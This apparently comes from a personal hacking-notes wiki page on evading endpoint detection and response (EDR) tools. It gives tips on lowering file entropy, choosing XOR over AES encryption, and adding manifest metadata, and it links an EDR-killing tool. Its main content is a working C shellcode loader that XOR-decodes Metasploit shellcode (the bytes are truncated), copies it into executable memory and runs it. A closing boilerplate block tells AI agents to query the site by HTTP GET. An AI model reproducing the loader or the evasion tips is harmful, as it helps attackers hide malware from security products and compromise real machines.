# EDR Evasion

#### Entropy:&#x20;

EDR look for a low entropy (normally using Shannon Entropy) aiming for an entropy between 4.8 and 7.2 (use pestudio to measure)

#### Encryption:&#x20;

XOR keeps a lower entropy - AES increases entropy

#### Metadata:

add an empty manifest file to VisualStudio (auto fills with metadata) - change the name to manifest executable. This has a good reaction to static analysis of EDR, making it non-identifiable. Also adding legitimate metadata in the form of a manifest file reduced the entropy from 5.033 to **4.922**.&#x20;

#### .data:

Moving the code block to a global variable (.data) decreased the entropy & risk rating if it was identified from a medium to low risk on EDR (non-detectable)&#x20;

```csharp
#include <stdio.h>
#include <windows.h>

    // Replace your XOR encrypted MSF-Shellcode
	unsigned char code[] = "\xa6\x12\xd9\xbe\xaa\xb2\x96\...";

int main() {

	// Decrypt XOR encrpyted MSF-Shellcode
	char key = 'ABCD';
	int i = 0;
	for (i; i < sizeof(code) - 1; i++)
	{
		code[i] = code[i] ^ key;
	}

	
	// Allocate memory for the decrypted MSF-Shellcode 
	void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// Copy the MSF-Shellcode into the allocated memory 
	memcpy(exec, code, sizeof code);

	// Execute the decrypted MSF-Shellcode in memory 
	((void(*)())exec)();
	return 0;

}
```

{% embed url="<https://github.com/Yaxser/Backstab>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://f1rstbyt3.gitbook.io/hacking-notes/antivirus-evasion/edr-evasion.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
